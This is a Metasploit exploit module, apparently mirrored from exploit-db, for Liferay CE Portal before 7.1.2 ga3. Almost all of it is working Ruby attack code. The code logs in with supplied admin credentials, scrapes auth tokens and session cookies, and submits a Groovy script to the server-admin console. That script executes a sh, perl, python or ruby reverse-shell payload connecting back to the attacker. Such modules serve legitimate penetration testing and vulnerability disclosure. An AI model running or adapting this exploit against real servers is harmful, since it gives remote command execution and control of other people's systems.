Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)

  • 作者： AkkuS
    日期： 2019-03-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/46525/
  • ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name' => 'Liferay CE Portal Tomcat < 7.1.2 ga3 - Groovy-Console Remote Command Execution',
			'Description'=> %q{
			This module uses the Liferay CE Portal Groovy script console to execute
			OS commands. The Groovy script can execute commands on the system via a [command].execute() call.
Valid credentials for an application administrator user account are required
			This module has been tested successfully with Liferay CE Portal Tomcat 7.1.2 ga3 on Debian 4.9.18-1kali1 system.
			},
			'Author'	=> 
				[
					'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
				],
			'License'=> MSF_LICENSE,
			'References' =>
				[
					[ 'URL', 'https://pentest.com.tr/exploits/Liferay-CE-Portal-Tomcat-7-1-2-ga3-Groovy-Console-Remote-Command-Execution-Metasploit.html' ],
				],
			'Privileged' => false,
			'Platform'=> [ 'unix' ],
			'Payload'=>
				{
					'DisableNops' => true,
					'Compat'=>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'reverse perl ruby python',
						}
				},
			'Arch' => ARCH_CMD,
			'Targets'=>
				[
					[ 'Liferay CE Portal Tomcat < 7.1.2 ga3', { }]
				],
			'DisclosureDate' => 'March 08, 2019',
			'DefaultTarget'=> 0,
			'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }))
		
		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
				OptString.new('PATH', [ true,'The URI path of the portal', '/' ]),
			], self.class)
	end
##
# Version and Vulnerability Check
##
def check 
		res = send_request_cgi({
			'method'=> 'GET',
			'uri' => datastore['PATH'] + 'web/guest/home'
		})

		version = res.headers['Liferay-Portal']
print_status("Target: #{version}")

		if res and res.code == 200 and version =~ /Portal 7./ or version =~ /Portal 6./
		 return Exploit::CheckCode::Vulnerable
		else
		 return Exploit::CheckCode::Safe
		end
		return res
	end
##
# Returns the SSL, Host and Port as a string
##
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
	
	def exploit
##
# Login and cookie information gathering
##
		print_status('Attempting to login with specified user...')
		res = send_request_cgi({
			'method'=> 'GET',
			'uri' => datastore['PATH'] + 'web/guest/home'
		})

authtoken = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken = #{authtoken}")
		
		sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
		cookie = "#{sessionid}; COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US"
print_status("#{sessionid}")

boundary = Rex::Text.rand_text_alphanumeric(29)

data = "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_formDate\"\r\n\r\n"
data << ""
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_saveLastPath\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_redirect\"\r\n\r\n\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin\"\r\n\r\nfalse\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_login\"\r\n\r\n"
data << "#{datastore['USERNAME']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_password\"\r\n\r\n"
data << "#{datastore['PASSWORD']}"
data << "\r\n-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"_com_liferay_login_web_portlet_LoginPortlet_checkboxNames\"\r\n\r\nrememberMe\r\n"
data << "-----------------------------{boundary}"
data << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
data << "#{authtoken}"
data << "\r\n-----------------------------{boundary}--\r\n"
	
		res = send_request_cgi({
			'method'=> 'POST',
			'uri' => datastore['PATH'] + 'web/guest/home?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=1&p_p_state=exclusive&p_p_mode=view&_com_liferay_login_web_portlet_LoginPortlet_javax.portlet.action=%2Flogin%2Flogin&_com_liferay_login_web_portlet_LoginPortlet_mvcRenderCommandName=%2Flogin%2Flogin',
			'data'=> data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
},
			'cookie'=> cookie
		})

		if res.code == 302
			print_good('User authentication was successful.')
else
			print_error('Something went wrong! Login failed.')
		end

		cookie1 = ''
		for cookie1_i in [ 'JSESSIONID=', 'COMPANY_ID=', 'ID=' ]
			cookie1 << cookie1_i + res.headers['set-cookie'].split(cookie1_i)[1].split('; ')[0] + '; '
		end

cookies0 = "#{cookie1} COOKIE_SUPPORT=true;"

		res = send_request_cgi({
			'method'=> 'GET',
			'uri' => datastore['PATH'] + 'c',
			'cookie'=> cookies0
		})
##
# Completion of the cookie information
##
		cookie2 = ''
		for cookie2_i in [ 'GUEST_LANGUAGE_ID=', 'Max-Age=', 'Expires=', 'Path=' ]
			cookie2 << cookie2_i + res.headers['set-cookie'].split(cookie2_i)[1].split('; ')[0] + '; '
		end

cookies = "#{cookie1} #{cookie2} COOKIE_SUPPORT=true;"
if cookies =~ /ID=/
print_good("Cookies information has been verified.")
else
print_error("Cookies information could not be verified!")
exit 0
 end
##
# Request to Groovy script authtoken
##
		res = send_request_cgi({
			'method'=> 'GET',
			'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
'headers' =>
{
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
			'cookie'=> cookies
		})
##
# Calling authtoken to Groovy script
##
authtoken2 = res.body.split('Liferay.authToken=')[1].split(';')[0].split('Liferay.authToken=')[0].split('"')[1]
print_status("Liferay AuthToken to Shell = #{authtoken2}") 
##
# Payload Separation **cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl**
## 
if payload.encoded =~ /sh/
cmd = payload.encoded.split('sh -c')[1].split("'")[1]
pay = "'sh','-c','#{cmd}'"
print_good("Reverse payload was prepared")
elsif payload.encoded =~ /perl/
cmd = payload.encoded.split('perl -MIO -e')[1].split("'")[1]
pay = "'perl','-MIO','-e','#{cmd}'"
print_good("Reverse Perl payload was prepared")
elsif payload.encoded =~ /python/
cmd = payload.encoded.split('python -c "exec(')[1].split(".decode('base64'))\"")[0].split("'")[1]
pay = "'python','-c','exec(\"#{cmd}\".decode(\"base64\"))'"
print_good("Reverse Python payload was prepared")
elsif payload.encoded =~ /ruby/
cmd = payload.encoded.split('ruby -rsocket -e ')[1].split("'")[1]
pay = "'ruby','-rsocket','-e', '#{cmd}'"
print_good("Reverse Ruby payload was prepared")
else
print_error("! Please choose payload one of cmd/unix/reverse|reverse_ruby|reverse_python|reverse_perl ")
exit 0
end
##
# Post Data to run Payload
##
cmdata = "-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_formDate\"\r\n\r\n"
cmdata << ""
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1\"\r\n\r\n"
cmdata << "script\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_redirect\"\r\n\r\n"
cmdata << "#{peer}/group/control_panel/manage?p_p_id="
cmdata << "com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle="
cmdata << "0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_"
cmdata << "ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_"
cmdata << "server_admin_web_portlet_ServerAdminPortlet_cur=""0&_com_liferay_server_"
cmdata << "admin_web_portlet_ServerAdminPortlet_tabs1=script"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_language\"\r\n\r\n"
cmdata << "groovy"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_script\"\r\n\r\n"
cmdata << "def cmd = [#{pay}]"
cmdata << "\r\ncmd.execute()"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"_com_liferay_server_admin_web_portlet_ServerAdminPortlet_cmd\"\r\n\r\n"
cmdata << "runScript"
cmdata << "\r\n-----------------------------{boundary}"
cmdata << "\r\nContent-Disposition: form-data; name=\"p_auth\"\r\n\r\n"
cmdata << "#{authtoken2}"
cmdata << "\r\n-----------------------------{boundary}--\r\n"
##
# Request to get reverse shell
##
		print_status("Attempting to execute the payload...")
		res = send_request_cgi({
			'method'=> 'POST',
			'uri' => datastore['PATH'] + 'group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_javax.portlet.action=%2Fserver_admin%2Fedit_server',
			'data'=> cmdata,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => '#{peer}/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script',
},
			'cookie'=> cookies
		})

		if res.code == 302
			print_good('Payload was successfully executed.')
else
			print_error('Something went wrong!')
		end

	end
end
##
# End
##